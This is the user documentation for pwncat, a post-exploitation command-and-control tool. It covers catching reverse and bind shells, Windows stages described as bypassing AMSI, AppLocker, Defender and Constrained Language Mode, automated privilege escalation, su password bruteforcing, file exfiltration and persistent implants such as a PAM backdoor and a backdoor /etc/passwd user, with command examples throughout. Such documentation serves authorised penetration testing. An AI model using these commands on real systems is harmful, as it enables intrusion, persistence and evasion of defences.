# pwncat

Caleb Stewart

Jun 12, 2021

# CONTENTS:

pwncat is a command and control framework which turns a basic reverse or bind shell into a fully-featured exploitation platform. After initial connection, the framework will probe the remote system to identify useful binaries natively available on the target system. It will then attempt to start a pseudoterminal on the remote host and provide you with raw terminal access.

pwncat doesn't stop there, though. On top of raw terminal access, pwncat can programmatically interact with the remote host alongside your terminal access. pwncat provides you with a local shell interface which can utilize your connection for enumeration, file upload/download, automatic persistence installation and even automated privilege escalation.

This abstracted remote host access is also available to the user via custom commands, privilege escalation methods, and persistence methods. You can find out more about this framework under the API Documentation below!

CHAPTER

ONE

# WHAT'S WRONG WITH JUST A REVERSE SHELL?

You may be familiar with the common method of getting raw terminal access with reverse shells. It normally goes something like this:

```
# Connect to a remote bind shell
nc 1.1.1.1 4444
# Spawn a remote pseudoterminal
remote$ python -c "import pty; pty.spawn('/bin/bash')"
# Background your raw shell
remote$ C-z
# Set local terminal to raw mode
local$ stty raw -echo
# Foreground your remote shell
local$ fg
# You now have a full terminal that doesn't exit on C-c and
# supports keyboard shortcuts, history, graphical terminal
# applications, etc.
remote$
```

This works well. However, the added steps to get a reverse shell are laborious after a while. Also, the danger of losing your remote shell by accidentally pressing "C-c" prior to gaining raw access is high. This was the original inspiration of this project.

CHAPTER

TWO

# WHERE DO I BEGIN?

pwncat has a lot features, and is easily extensible if you have ideas! Check out the "Basic Usage" section next for examples of connecting to remote hosts. If you ever find there is a piece of the documentation missing, check out the help documentation at the local prompt, accessed with the `--help/-h` parameter of any command. If the information you're looking for doesn't exist, please submit an issue on GitHub. If you're feeling adventurous, take a look at the API documentation as well. Pull requests are always welcome!

## 2.1 Installation

The only system dependency for pwncat is `python3` and `pip`. For `pip` to install all Python dependencies, you will likely need your distributions Python Development package (`python3-dev` for Debian-based distributions). Once you have a working `pip` installation, you can install pwncat with the provided setup script:

```
# A virtual environment is recommended
python -m venv /opt/pwncat
# Install pwncat within the virtual environment
/opt/pwncat/bin/pip install git+https://github.com/calebstewart/pwncat
# This allows you to use pwncat outside of the virtual environment
ln -s /opt/pwncat/bin/pwncat /usr/local/bin
```

After installation, you can use pwncat via the installed script:

```
$ pwncat --help
usage: pwncat [-h] [--config CONFIG] [--identity IDENTITY] [--listen]
              [--platform PLATFORM] [--port PORT] [--list]
              [[protocol://][user[:password]@][host][:port]] [port]

Start interactive pwncat session and optionally connect to existing victim
via a known platform and channel type. This entrypoint can also be used to
list known implants on previous targets.

positional arguments:
  [protocol://][user[:password]@][host][:port]
                        Connection string describing victim
  port                  Alternative port number to support netcat-style
                        syntax

optional arguments:
  -h, --help            show this help message and exit
  --config CONFIG, -c CONFIG
                        Custom configuration file (default: ./pwncatrc)
  --identity IDENTITY, -i IDENTITY
```

(continues on next page)

(continued from previous page)

```
                        Private key for SSH authentication
  --listen, -l          Enable the `bind` protocol (supports netcat-style
                        syntax)
  --platform PLATFORM, -m PLATFORM
                        Name of the platform to use (default: linux)
  --port PORT, -p PORT  Alternative way to specify port to support netcat-
                        style syntax
  --list                List installed implants with remote connection
                        capability
```

### 2.1.1 Windows Plugin Binaries

The Windows target utilizes .Net binaries to stabilize the connection and bypass various defenses present on Windows targets. The base Windows C2 utilizes two DLLs named `stageone.dll` and `stagetwo.dll`. Stage One is a simple reflective loader. It will read the encoded and compressed contents of Stage Two, and execute it reflectively. Stage Two contains the actual meat of the C2 framework.

Further, the Stage Two C2 framework provides the ability to reflectively load other .Net assemblies and execute their methods. The loaded assemblies must conform to the pwncat plugin API. These APIs are not generally accessible from the interactive session, and are created more for the Python API.

Plugins are stored at the path specified by the `plugin_path` configuration value. By default, this configuration points to `~/.local/share/pwncat`, but can be changed by your configuration file. If a plugin does not exist when it is requested, the appropriate version will be downloaded via a URL tracked within pwncat itself.

If your attacking machine will not have direct internet access, you can prestage the plugin binaries in two ways. The easiest is to connect your attacking machine to the internet, and use the `--download-plugins` argument:

```
pwncat --download-plugins
```

This command will place all built-in plugins in the plugin directory for you. Alternatively, if you are using a release version pwncat, you can download a prepackaged tarball of all builtin plugins from the GitHub releases page. You can then extract it into your plugin path:

```
# Replace {version} with your pwncat version
cd ~/.local/share/pwncat
wget https://github.com/calebstewart/pwncat/releases/download/{version}/pwncat-
↪plugins-{version}.tar.gz
tar xvfs pwncat-plugins-{version}.tar.gz
rm pwncat-plugins-{version}.tar.gz
```

### 2.1.2 Development Environment

If you would like to develop modules for pwncat (such as privilege escalation or persistence module), you can use the `setuptools` "develop" target instead of "install". This installs pwncat via symlinks, which means any modifications of the local code will be reflected in the installed package:

```
git clone https://github.com/calebstewart/pwncat.git
cd pwncat
python -m venv env
. env/bin/activate
python setup.py develop
```

## 2.2 Basic Usage

There are two main operating modes while interacting with a victim in pwncat: remote and local. At any given time, the prompt will include either `(local)` or `(remote)` to indicate the current mode. When using local mode, you have access to pwncat-specific commands such as upload, download, use, run and exit. In remote mode, you will have access to a platform-specific shell environment (e.g. bash or powershell).

To toggle between these modes, you can use the `C-d` key combination. This combination is intercepted by pwncat before being sent to the target when in remote mode. If you need to send a `C-d` combination directly to the target, you can use the `C-k` prefix. Prefixing `C-d` or `C-k` with `C-k` will tell pwncat to send the literaly `C-d` or `C-k` sequence to the target.

### 2.2.1 Command Line Interface and Start-up Sequence

pwncat provides an entrypoint script which allows you to enter an unconnected pwncat prompt and optionally immediately connect to a victim. The syntax for the pwncat entrypoint is largely identical to the pwncat `connect` command. The arguments/syntax is described in the sections below.

In order to establish a connection, you must specify all needed channel arguments as well as specify a platform name (e.g. `linux` or `windows`). If no platform is specified, it is assumed to be linux. This can cause hangs if connected to the incorrect platform.

### 2.2.2 C2 Channels

pwncat allows the use of a few different C2 channels when connecting to a victim. Originally, pwncat wrapped a raw socket much like `netcat` with some extra features. As the framework was expanded, we have moved toward abstracting this command and control layer away from the core pwncat features to allow more ways of connection. Currently, only raw sockets and `ssh` are implemented. You can connect to a victim with three different C2 protocols: `bind`, `connect`, and `ssh`. The first two act like netcat. These modes simply open a raw socket and assume there is a shell on the other end. In SSH mode, we legitimately authenticate to the victim host with provided credentials and utilize the SSH shell channel as our C2 channel.

pwncat exposes these different C2 channel protocols via the `protocol` field of the connection string discussed below.

### 2.2.3 Connecting to a Victim

Connecting to a victim is accomplished through a connection string. Connection strings are versatile ways to describe the parameters to a specific C2 Channel/Protocol. This looks something like: `[protocol://][user[:password]]@[host:][port]`

Each field in the connection string translates to a parameter passed to the C2 channel. Some channels don't require all the parameters. For example, a `bind` or `connect` channel doesn't required a username or a password.

If the `protocol` field is not specified, pwncat will attempt to figure out the correct protocol contextually. The following rules apply:

- If a user and host are provided, assume `ssh` protocol
- If no user is provided but a host and port are provided, assume protocol is `connect`
- If no user or host is provided (or host is `0.0.0.0`), protocol is assumed to be `bind`
- If a second positional integer parameter is specified, the protocol is assumed to be `connect` - This is the `netcat` syntax seen in the below examples for the `connect` protocol.

- If the `-l` parameter is used, the protocol is assumed to be `bind`. - This is the `netcat` syntax seen in the below examples for the `bind` protocol.

### 2.2.4 Connecting to a victim bind shell

In this case, the victim is running a raw bind shell on an open port. The victim must be available at an address which is routable (e.g. not NAT'd). The `connect` protocol provides this capability.

Listing 1: Connecting to a bind shell at 1.1.1.1:4444

```
# netcat syntax
pwncat 192.168.1.1 4444
# Full connection string
pwncat connect://192.168.1.1:4444
# Connection string with assumed protocol
pwncat 192.168.1.1:4444
```

### 2.2.5 Catching a victim reverse shell

In this case, the victim was exploited in such a way that they open a connection to your attacking host on a specific port with a raw shell open on the other end. Your attacking host must be routable from the victim machine. This mode is accessed via the `bind` protocol.

Listing 2: Catching a reverse shell

```
# netcat syntax
pwncat -l 4444
# Full connection string
pwncat bind://0.0.0.0:4444
# Assumed protocol
pwncat 0.0.0.0:4444
# Assumed protocol, assumed bind address
pwncat :4444
```

### 2.2.6 Connecting to a Remote SSH Server

If you were able to obtain a valid password or private key for a remote user, you can initiate a pwncat session with the remote host over SSH. This mode is accessed via the `ssh` protocol. A note about protocol assumptions: if there is an installed persistence method for a given user, then specifying only a user and host will first try reconnecting via that persistence method. Afterwards, an ssh connection will be attempted. If you don't want this behavior, you should explicitly specify `ssh://` for your protocol.

Listing 3: Connection to a remote SSH server

```
# SSH style syntax (assumed protocol, prompted for password)
pwncat root@192.168.1.1
# Full connection string with password
pwncat "ssh://root:r00t5P@ssw0rd@192.168.1.1"
# SSH style syntax w/ identity file
pwncat -i ./root_id_rsa root@192.168.1.1
```

### 2.2.7 Connecting to a Windows Target

All of the above examples can also be used to connect to Windows targets as long as you explicitly specify a platform during invocation. For example, to connect to a Windows bind shell at `192.168.1.1:4444`:

Listing 4: Connect to Windows bind shell

```
# netcat syntax
pwncat -m windows 192.168.1.1 4444
# Full connection string
pwncat -m windows connect://192.168.1.1:4444
# Connection string with assumed protocol
pwncat -m windows 192.168.1.1:4444
```

### 2.2.8 Reconnecting to a victim

pwncat has the capability to install, track, and remove persistent implants on a target. If you had a previous connect to a target, and installed a persistent implant, you can use the pwncat entrypoint to list available implants and attempt to reconnect to a given target. Reconnecting can be accomplished with either the IP address or unique host ID of a target.

Listing 5: List Installed Persistent Implants

```
pwncat --list
```

pwncat will attempt to reconnect to a host automatically if needed. Specifically, if no explicit protocol, port, identity or password is specified, pwncat assumes you would like to be reconnected to the specified host and attempts to reconnect via a matching implant prior to attempting direct connection.

Listing 6: Reconnecting to a known host

```
# Attempt reconnection as any user; specify host ID
pwncat 999c434fe6bd7383f1a6cc10f877644d
# Attempt reconnection first as the specified user
pwncat user@192.168.1.1
```

## 2.3 Windows Support

Starting with `v0.4.0a1`, pwncat supports multiple platform targets. Specifically, we have implemented Windows support. Windows support is complicated, as a majority of interaction cannot be simply executed from a shell, and parsed. As a result, we implemented a very minimal C2 framework, and had pwncat automatically upload and execute this framework for you. **You only need to provide pwncat a cmd or powershell prompt**.

### 2.3.1 Goals

When building out Windows support, there were a lot of options. We had to filter out these options based on the goals for the C2. We whittled these goals down to the following:

- Automatically Bypass AMSI
- Automatically Bypass AppLocker
- Undetected by Defender
- Automatically Bypass PowerShell Constrained Language Mode
- Provide the user with an interactive shell
- Support structured interaction for automation
- Touch disk as little as possible

This was a tall order, and doing so generically was difficult. I'll talk about our solution to each of those problems. Firstly, AMSI was easy. Once everything was set in place, we could use the standard .Net reflection to bypass AMSI relatively easily.

This brought up another issue: Constrained Language Mode. In PowerShell, if constrained language mode is active, we effectively have no access to .Net. This presents serious problems. The only way we could find to bypass Constrained Language Mode without depending on PowerShell v2 was to execute .Net code. From within .Net, we can reflectively modify the PowerShell implementation, and spawn an interactive session in Full Language Mode regardless of environment or Group Policy settings.

With the need to execute .Net without reflective loading from PowerShell (due to CLM), we now break one of our rules. We have to upload a file to disk to execute, and with that we run into both Defender and AppLocker. For AppLocker, there is a list of safe directories where we can place a binary, and load it with the .Net `InstallUtil` tool. This provides a way around AppLocker. Further, we implemented a small stager which simply waits and downloads more .Net code to be reflectively loaded. This mitigates the files on disk by making the only on-disk file a simple stager with low equity. It also makes the file on disk less likely to trigger Defender.

At this point, we can load stage two which implements the required structured interaction and interactive shell as needed, and have met all goals listed above with a slight compromise on files touching disk. To make things as smooth as possible, pwncat will automatically remove the stageone DLL when exiting.

### 2.3.2 Communication Protocol

After initializing stage two, pwncat communicates over Base64-encoded GZip blobs. Each command sent is a JSON-encoded argument array specifying the type name, method name, and subsequent arguments for a static method within stage two. The JSON data is deserialized so you can pass any serializable type to a method natively from pwncat.

Responses are formatted in the same way as requests, except are returned as a dictionary. The dictionary looks like this:

```
{
    "error": 0,
    "result": {},
    "message": ""
}
```

If a method fails, the error property will be non-zero, and the `message` property will be present containing a description of the failure. If the method succeeds, the `result` property will contain the return value of the method. This value could be any JSON serializable type (the example above shows an empty dictionary but it could just as easily be a bare integer).

The Windows platform provides a helper method to call methods which seamlessly translates Python calls to method calls. The return value is the `result` property, and a `pwncat.platform.windows.Windows.ProtocolError` will be raised if there was an error.

```
result = session.platform.run_method("PowerShell", "run", "[PSCustomObject]@{ thing =␣
↪5; }", 1)
# Prints "5"
print(result[0]["thing"])
```

There are also other abstractions within the framework for common operations like executing PowerShell. For more information on the API of the Windows platform, please see the API Documentation.

### 2.3.3 Plugin API

You can utilize the pwncat API to load third-party .Net assemblies from the attacker machine and easily execute their methods. The stage two C2 provides the ability to load an assembly and retrieve a unique identifier for the loaded assembly. You can then use this identifier to execute methods from the assembly in a similar way to the `run_method` method above.

The plugins themselves must implement a specific API in order to be compatible. A basic plugin looks like this:

```
using System.Reflection;

class Plugin
{
    public static void entry(Assembly stagetwo)
    {
        // Optional method; executing while loading the plugin
    }

    public static string test(string arg1, int arg2)
    {
        // A method that can be called from the C2
        return "Hello " + arg1 + " " + arg2.ToString();
    }
}
```

If you had compiled this plugin to a dll named `example.dll`, you could load and execute it with the following from pwncat:

```
example = session.platform.dotnet_load("example.dll")
# this prints "Hello Plugin 42"
print(example.test("Plugin", 42))
```

The Windows platform will deduplicate plugins by name and by file hash to ensure individual assemblies are only loaded once. If a given assembly has already been loaded, the existing `pwncat.platform.windows.Windows.DotNetPlugin` instance will be returned instead of reloading the existing assembly.

## 2.4 Configuration

pwncat can load a configuration script from a few different locations. First, if a file named `pwncatrc` exists in `$XDG_CONFIG_HOME/pwncat/` then it will be executed prior to any other configuration. Next, if no `--config/-c` argument is provided, and a file in the current directory named `pwncatrc` exists, it will be executed. Lastly, if the `--config/-c` argument is specified, pwncat will load and run the specified configuration script prior to establishing a connection.

The value of `XDG_CONFIG_HOME` depends on your environment but commonly defaults to `~/.config`. The purpose of this configuration script is for global settings that you would like to persist across all instances of pwncat.

The purpose of the explicit script (or implicit script in the current directory) is for you to specify settings which are specific to this connection or context. For example, you may have a different `pwncatrc` that specifies a specific database location in your analysis directory while a configuration exists in `$XDG_CONFIG_HOME` which loads custom modules. The database is specific to a single machine or network while the global configuration may apply to multiple machines, networks or engagements.

The syntax of the `pwncatrc` script is the same as the local prompt within pwncat. This means you can generally use most commands that are available there with the exception of any command which requires a connection be established. For example, you cannot run enumeration or escalation modules (with the exception of on_load scripts). You can, however, set key bindings, load module classes, and set default configuration parameters.

### 2.4.1 Configuration Parameters

Configuration parameters are modified with the `set` command. By default, parameters are modified in the local context. This is meaningless if you are not in a module context. Therefore, if you are setting global runtime parameters, you should use the `--global/-g` flag.

To run commands and interact with the remote host upon successful connection, you can specify a script to run via the `set` command:

```
set -g on_load {
    # Automatically install an authorized key implant
    run implant.authorized_key
}
```

The script between the braces will be run as soon as a victim is connected and stable. Any command you can normally run from within pwncat is available.

Besides the on-load script, the following global configuration values can be set:

- lhost - your attacking ip from the perspective of the victim
- prefix - the key used as a prefix for keyboard shortcuts
- privkey - the private key used for RSA-based persistence
- backdoor_user - the username to insert for backdoor persistence
- backdoor_pass - the password for the backdoor user
- db - a SQLAlchemy connection string for the database to use
- on_load - a script to run upon successful connection
- windows_c2_dir - a directory where the Windows C2 DLLs are placed. This defaults to ~/.local/share/pwncat

The `set` command is also used to set module arguments when with a module context. In this case, the `--global/-g` flag is not used, and the values are lost upon exiting the module context.

### 2.4.2 User Credentials

The `set` command can also be used to specify user credentials. When used in this form, it can only be used after client connection. To specify a user password, you can use the "–password/-p" parameter:

```
set -p bob "b0b5_P@ssw0rd"
```

### 2.4.3 Key Bindings

Key bindings are keys which trigger specific commands or scripts to run after being pressed. To access key bindings, you must first press your defined prefix. By default, one binding is enabled, which is `s`. This will synchronize the terminal state with your local terminal, which is helpful if you change the width and height of your terminal window. A key binding can either be a single command specified in quotes, or a script block specified in braces as with the `on_load` callback. Examples of key bindings:

```
bind t {
    # Just an example of a block
    run report
}
```

### 2.4.4 Aliases

Basic command aliases can be defined using the `alias` command. Aliases can only be to base commands, and cannot contain scripts or command parameters. Examples of basic aliases:

```
alias up upload
alias down download
```

### 2.4.5 Shortcuts

Shortcuts provide single-character prefixes to act as commands. The entire command string after the prefix is sent as the parameters to the specified command. The following two shortcuts are provided to enable running local and remote shell commands from the pwncat prompt:

```
shortcut ! local
shortcut @ run
```

## 2.5 Modules

pwncat has two programmable building blocks: commands and modules. Modules are specific to an open session. They are intended to retrieve some information or make a modification to a specific target. By default, modules are loaded from the `pwncat/modules` directory, but more modules can be loaded from a custom location via the `load` command.

### 2.5.1 Module Contexts

You can enter a module "context" which means that any `set` commands will operate specifically on that modules arguments by default. This is useful when a module takes a large number of arguments or complex arguments. In this case, the local prompt prefix changes to `([module_name])` vice the normal `(local)`. The context is exited automatically after using the `run` command.

When in a module context, commands like `info` and `run` no longer require the module name as a parameter. It is inferred by the current context.

### 2.5.2 Locating Modules

Modules are located using the `search` command at the local prompt. You can also locate modules using tab completion at the local prompt.

```
search enumerate.*
```

### 2.5.3 Viewing Documentation

Module documentation can be viewed with the `info` command. When within a module context, the module name is inferred from the current context if not specified.

```
info escalate.auto
```

### 2.5.4 Running Modules

The `run` command is used to execute a module. The module name is inferred from the module context if not specified. Key-value parameters can be specified in the `run` command or with `set` within a module context.

```
run escalate.auto user=root
use escalate.auto
set user root
run
```

## 2.6 Enumeration

Enumeration in pwncat is achieved through the `enumerate.*` modules. All these modules implement a sub-class of the standard pwncat module. Each enumeration can be run individually or you can use one of the automated enumeration groups. Enumeration modules can specify the their "schedule" which affects when they are run. By default, enumeration modules run only once and their results are cached in the database. Some modules specify a "per-user" schedule which means they run once per user. A smaller number of modules specify a "always" schedule which means that every time you run the module it will execute that enumeration regardless of any cached entries.

### 2.6.1 Gathering Enumeration Data

The base `enumerate` module is an alias of `enumerate.gather`. This module is used to gather enumeration facts from all other enumeration modules. Facts can be filtered by the module name or the types of facts.

```
# Enumerate only SUID and File Capability enumeration types
(local) pwncat$ run enumerate types=file.suid,file.caps
# Enumerate facts from all available modules
(local) pwncat$ run enumerate
```

### 2.6.2 Generating A Target Report

The `report` module utilizes the enumeration framework to generate formatted host reports. When run without any arguments, this module will gather interesting host details and render a report to the terminal. Optionally, you can specify an output file name which where a Markdown report will be written.

The default report templates can be found in `pwncat/data/reports`.

```
# Generate formatted report
(local) pwncat$ run report
# Generate a markdown report
(local) pwncat$ run report output=report.md
```

## 2.7 Automated Privilege Escalation

pwncat has the ability to locate and exploit privilege escalation vulnerabilities. The vulnerabilities are identified through enumeration, and can be exploited through the `escalate` command. Internally, pwncat has two types of escalation objects. Firstly, there are abilities. These are actions which we are able to perform with the permissions of a different user on the target. The second type of objects are escalations. Escalations utilize one or more abilities to achieve a session as the targeted user.

As an example, abilities could be things such as:

- File Write
- File Read
- Binary execution

Escalations could be things such as:

- Executing a shell (the simplest option)
- Reading user private keys and ssh-ing to localhost
- Writing private keys
- Implanting a backdoor user in /etc/passwd (if file-write as root is available)

### 2.7.1 Invoking Privilege Escalation

There are two `escalate` subcommands. In order to locate direct escalation vectors, you can use the `list` subcommand. This will use the enumeration framework to locate any escalations that may be possible as the active user.

```
# List direct escalations for any user
(local) pwncat$ escalate list
# List direct escalations to the specified user
(local) pwncat$ escalate list -u root
```

Escalation can be triggered with the `run` subcommand. This command will first attempt to escalate directly to the requested user. If no direct escalations are possible, it will try to recursively escalate through other users based on the available direct escalations.

```
# Escalate to root
(local) pwncat$ escalate run
# Escalate to a specified user
(local) pwncat$ escalate run -u john
```

## 2.8 Persistent Implants

pwncat provides the ability to install and manage persistent implants on target hosts. The `implant` module provides a way to manage installed implants. Installing an individual implant is accomplished by simply executing the implant module itself.

### 2.8.1 Installing An Implant

pwncat comes with a few standard implants. Installing the standard implants can be accomplished easily as seen below.

```
# Install an authorized public key as the current user
(local) pwncat$ run implant.authorized_key key=./id_rsa
# Install an authorized key as another user (requires root access)
(local) pwncat$ run implant.authorized_key user=john key=./id_rsa
# Install a pam backdoor module
(local) pwncat$ run implant.pam password=s3cr3ts
# Install a backdoor user within /etc/passwd
(local) pwncat$ run implant.passwd backdoor_user=pwncat backdoor_pass=pwncat
```

### 2.8.2 List Installed Implants

The generic `implant` module can be used to list installed implants.

```
# List installed implants
(local) pwncat$ run implant list
# The default subcommand is to list
(local) pwncat$ run implant
```

### 2.8.3 Escalate Using Local Implant

The generic `implant` module provides the capability to utilize local implants to escalate privileges to another user. This can be used to utilize an explicit escalation vice performing automated escalation via the `escalate` command. During execution of the `implant escalate` subcommand, you will be prompted for the implants to utilize.

```
# Attempt escalation with a local implant; will be prompted for which implant(s) to␣
↪use
(local) pwncat$ run implant escalate
```

### 2.8.4 Removing Implants

Once again, the `implant` module provides the ability to remove installed implants. As with the escalate subcommand, you will be prompted for which implant to remove after running the module.

```
# Remove one or more implants
(local) pwncat$ run implant remove
```

### 2.8.5 Reconnecting With Implants

Remote implants provide a way to reconnect to a target at will. Reconnecting can be accomplished by simply executing the pwncat entrypoint and specifying either the IP address or unique host ID of the target. pwncat will automatically check for installed implants and attempt to reconnect. See the Usage section for examples.

## 2.9 Command index

### 2.9.1 Alias

`alias` is a simple command. It provides the ability to rename any built-in command. Unlike aliases in common shells, this does not allow you to provide default parameters to commands. Instead, it simply creates an alternative name.

You can specify a new alias simply by providing the new name followed by the new name. For example, to alias "download" to "down", you could do this in your configuration script:

```
alias down "download"
```

`alias` takes as it's second argument a string. Passing anything else (e.g. a code block) will not produce the desired results. The command you are aliasing must exist and be a standard command (no aliases to other aliases are supported).

### 2.9.2 Back

The back command is used to exit the local pwncat prompt and return to your remote shell. It is not expected to be used very often since the `C-d` shortcut is the primary method of switching. However, if you need to switch modes from a script, you can do so with this command. It takes no parameters and will immediately exit the pwncat shell to return to the remote prompt.

### 2.9.3 Bind

The bind command is used to create new keyboard shortcuts or change old ones. Keyboard shortcuts are accessed by first pressing your defined "prefix" key (by default: `C-k`). `bind` takes two parameters: the key to bind, and the script to run when it is pressed.

#### Key Selection

The key argument is specified as a string. If the string is a single character, it is assumed to be that literal printed character. For example, to bind the lowercase "a" key to a command you could:

```
bind "a" "some helpful command"
```

If the key argument is longer than one character, it is assumed to be a key name. The key names accepted by pwncat are taken directly at runtime from the list of known ANSI keystrokes defined in the `prompt_toolkit` package. They use the same syntax as in prompt toolkit. All key names are lowercase. The prompt_toolkit documentation covers the keys supported by their module in their documentation here. Any key defined by prompt_toolkit is available for key binding by pwncat.

#### Script Content

The target of a key binding is a script. Scripts in pwncat can be specified as a string, which can only contain a single command, or as a code block surrounded by curly braces. When in code block mode, you can use as many commands as you like, and even insert comments, blank lines, etc.

```
bind "a" {
    # you can bind a series of commands which you
    # do very often to a key, if you find it helpful.
    privesc -l
    persist -s
    tamper
}
```

### 2.9.4 Bruteforce

The `bruteforce` command is used to bruteforce authentication of a user locally. It will use the `su` command to iteratively try every password for a given user. This is very slow, but does technically work. If no wordlist is specified, the default location of `rockyou.txt` in Kali Linux is chosen. This may or may not exist for your system.

> **Warning:** This command is very noisy in log files. Each failed authentication is normally logged by any modern linux distribution. Further, if account lockout is enabled, this will almost certainly lockout the targeted account!

#### Selecting a User

Individual users are selected with the `--user` argument. This argument can be passed multiple times to test multiple users in one go. To use the default dictionary to test the root and bob users, you would issue a command like:

```
bruteforce -u root -u bob
```

User names are automatically tab-completed at the pwncat prompt for your victim host.

#### Selecting a Wordlist

Word lists are specified with the `--dictionary` parameter. This parameter is a path to a file on your attacking host which contains a list of passwords to attempt for the selected users. If a correct password is found, it is stored in the databaase, and the search is aborted for that user. To select a custom database, you would issue a command like:

```
bruteforce -d /opt/my-favorite-repo/my-favorite-wordlist.txt -u root
```

### 2.9.5 Busybox

pwncat works by try as much as possible not to depend on specific binaries on the remote system. It does this most of the time by selecting an unidentified existing binary from the GTFOBins database in order to perform a generic capability (e.g. file read, file write or shell). However, sometimes a critical binary is missing on the target host which has been removed (either maliciously or never installed). In these situations, obtaining a stable version of all basic binaries is very helpful. To this end, pwncat has the capability to automatically upload a copy of the `busybox` program to the remote host.

The `busybox` command manages the installation, status, and removal of the installed busybox. Installing busybox lets pwncat know that it has a list of standard binaries with known good interfaces easily accessible. The `busybox` command also understands how to locate a `busybox` binary precompiled for the victim architecture and upload it through the existing C2 channel. The new busybox installation will be installed in a temporary directory, and any further automated tools within pwncat will use it's implementation of common unix tools.

#### Installation

To install busybox on the remote victim, you can use the `--install` option to the `busybox` command. This will first check for an existing, distribution specific, installation on the remote host. If the `busybox` command exists, it will utilize that vice installing a new copy. If it doesn't, it will begin proxying a connection to the official busybox servers to upload a busybox binary specific to the victim architecture.

After installation, pwncat will examine the endpoints provided by busybox, and remove any that are provided SUID by the remote system. This prevents pwncat from replacing the real `su` binary with `busybox su` in it's database.

```
(local) pwncat$ busybox --install
uploading busybox for x86_64
 100.0% [=================================================>] 1066640/1066640 eta␣
↪[00:00]
[+] uploaded busybox to /tmp/busyboxIu1gu
[+] pruned 164 setuid entries
(local) pwncat$
```

#### Status and Applet List

To check if busybox has been installed and is known by pwncat (for example from a previous session), you can use the `--status` option. This is the default action, and can be accessed by passing no parameters to `busybox`:

```
(local) pwncat$ busybox
[+] busybox is installed to: /tmp/busyboxIu1gu
[+] busybox provides 232 applets
(local) pwncat$
```

If you would like to see a list of binaries which busybox is currently providing for pwncat, you can use the `--list` option. This is normally a large list (232 lines in this case), but it is provided for completeness sake.

```
(local) pwncat$ busybox --list
[+] binaries which the remote busybox provides:
 * [
 * [[
 * acpid
 * add-shell
 * addgroup
 * adduser
 * adjtimex
... removed for brevity ...
```

#### Removing Busybox

Busybox is tracked by pwncat as a remote tamper. This means that the `tamper` command will show that you have installed busybox, and `busybox` can be uninstalled using the `tamper` command:

```
(local) pwncat$ tamper
 0 - installed busybox to /tmp/busyboxIu1gu
(local) pwncat$ tamper -r -t 0
(local) pwncat$ busybox --status
[!] busybox hasn't been installed yet
(local) pwncat$
```

### 2.9.6 Connect

This command initiates or receives a connection to a remote victim and establishes a pwncat session. Sessions can be established over any socket-like communication layer. Currently, communications channels for reverse and bind shells over raw sockets and SSH are implemented.

The connect command is written to take a flexible syntax. At it's core, it accepts a connection string which looks like this: `protocol://user:password@host:port`. It also makes some assumptions if some or all of this connection string is missing.

The following assumptions are made if one or more of the above sections are missing

- If no protocol is specified, but the user and host are specified, assume SSH protocol.
- If no protocol, user, or port are specified, assume reconnect protocol.
- If no protocol, user, password or port are specified, assume reconnect protocol.
- If no protocol, user or password are specified and host is not 0.0.0.0, assume connect protocol.
- If no protocol, user, password or host are specified, assume bind protocol.

Further, any input which supplies a username (and optionally a password field) and a host with no port or protocol will attempt to reconnect via installed persistence first.

This command also accepts a second positional parameter to specify the port. This parameter cannot be used along with the port within the connection string. The reason for the second port argument is to support `netcat` like syntax.

These rules mean that you can invoke pwncat in a similar fashion to common tools such as `ssh` and `netcat`. For example, all of the following are valid:

```
# Connect to a bind shell on 4444
connect 10.10.10.10 4444
connect connect://10.10.10.10:4444
connect 10.10.10.10:4444
# Listen for reverse shell on 4444
connect bind://0.0.0.0:4444
connect 0.0.0.0:4444
connect :4444
connect -lp 4444
# Connect via ssh
connect user@10.10.10.10
connect -i id_rsa user@10.10.10.10
connect user:password@10.10.10.10
# Reconnect to host via IP, hostname or host hash
connect user@[hostname, host hash or IP]
connect reconnect://user:module@10.10.10.10
connect [hostname, host hash or IP]
```

For more concrete examples, see the `Basic Usage` page. The arguments to pwncat are the same as the arguments to `connect`

### 2.9.7 Download

The `download` command provides an easy way to exfiltrate files from the victim. All file transfers are made over the same connection as your shell, and there are no HTTP or raw socket ports needed to make these transfers. File transfers are accomplished by utilizing the `gtfobins` framework to locate file readers on the victim host and write the contents back over the pipe. In some cases, this includes and requires encoding the data on the victim end and automatically decoding on the attacking host.

The `download` command has a simply syntax which specifies the source and destination files only. The source file is a file on the remote host, which will be tab-completed at the pwncat prompt. The destination is a local file path on your local host which will be created (or overwritten if existing) with the content of the remote file.

Listing 7: Downloading the contents of /etc/hosts to a local file

```
download /etc/hosts ./victim-hosts
```

### 2.9.8 Escalate

The escalate command is used to perform automated escalation. As described in the privilege escalation section, this command is capable of perform recursive escalation across multiple users and sessions. It will also utilize any installed local implants as needed to escalate to the requested user.

```
# List direct escalations from the current user to any user
escalate list
# List direct escalations from the current user to root
escalate list -u root
# Attempt escalation by any means to root
escalate run
# Attempt escalation by any means to john
escalate run -u john
```

### 2.9.9 Load

This command allows you to load custom pwncat modules from a python package. The only parameter is the local path to a directory containing python packages to load as modules.

pwncat will load all modules under that package and search for classes named `Module` implementing the `BaseModule` base class. These modules will be named based on the python package name relative to the specified directory. For example, if you had a directory called `.pwncat-modules` with this structure:

```
- .pwncat-modules/
    - enumerate/
        - __init__.py
        - custom.py
    - __init__.py
```

And a class named `Module` defined in `` `custom.py `` then a new pwncat module would be available under the name `enumerate.custom`.

This command can be used in your configuration script to automatically load custom modules at runtime.

```
# Load modules from /home/user/.pwncat-modules
(local) pwncat$ load /home/user/.pwncat-modules
(local) pwncat$ run enumerate.custom
```

### 2.9.10 Run

The `run` command gives you access to all pwncat modules at runtime. Most functionality in pwncat is implemented using modules. This includes privilege escalation, enumeration and persistence. You can locate modules using the `search` command or tab-complete their name with the `run` command.

The `run` command is similar to the command with the same name in frameworks like Metasploit. The first argument to `run` is the name of the module you would like to execute. This takes the form of a Python fully-qualified package name. The default modules are within the `pwncat/modules` directory, but other can be loaded with the `load` command.

Modules may take arguments, which can be appended as key-value pairs to the end of a call to the `run` command:

```
# Enumerate setuid files on the remote host
run enumerate.gather types=file.suid
```

Required module arguments are first taken from these key-value pairs. If they aren't present, they are taken from the global configuration.

#### Run Within A Context

In pwncat, the `use` command can enter a module context. Within a module context, the pwncat prompt will change from "(pwncat) local$" to "(module_name) local$". In this state, you can set module arguments with the `set` command. After the arguments are set, you can run the module with `run`. Within a module context, no arguments are required for `run`, however you are allowed to specify other key-value items as well. For example:

```
# Perform the same enumeration as seen above
use enumerate.gather
set types file.suid
run
```

### 2.9.11 Info

